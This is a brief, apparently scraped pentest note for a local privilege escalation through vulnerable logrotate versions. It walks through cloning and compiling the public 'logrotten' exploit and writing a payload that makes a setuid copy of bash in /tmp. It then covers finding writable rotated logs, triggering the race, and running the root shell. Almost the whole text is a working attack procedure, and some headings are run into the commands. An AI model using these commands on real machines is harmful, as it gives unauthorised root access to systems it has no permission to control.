I am probably wrong,
Version#
Vulnerable version: 3.8.6, 3.11.0, 3.15.0, 3.18.0
logrotate --versionExploit#
Compile exploit#
Compile the exploit and transfer the binary to victim machine
git clone https://github.com/whotwagner/logrotten.git
cd logrotten
gcc logrotten.c -o logrottenPrepare exploiting#
On victim machine, create a payload to execute
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > payloadFind out:
- What mode
logrotateoperate, whethercreateorcompress? - What log files does it rotate?
- Do you have write permission on the log? (YOU NEED WRITE PERMISSION)
cat /etc/logrotate.conf | grep -v "#"
cat /etc/logrotate.d/* | grep -v "#"Exploiting fr#
Run the exploit on victim machine. You might need to run multiple times
If the logratate mode is compress, you need to add -c flag
./logrotten -p ./payload /path/to/log/file/you/can/write &
echo 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' >> /path/to/log/file/you/can/writeCheck /tmp/bash regularly, see if the binary is created, if yes then
/tmp/bash -p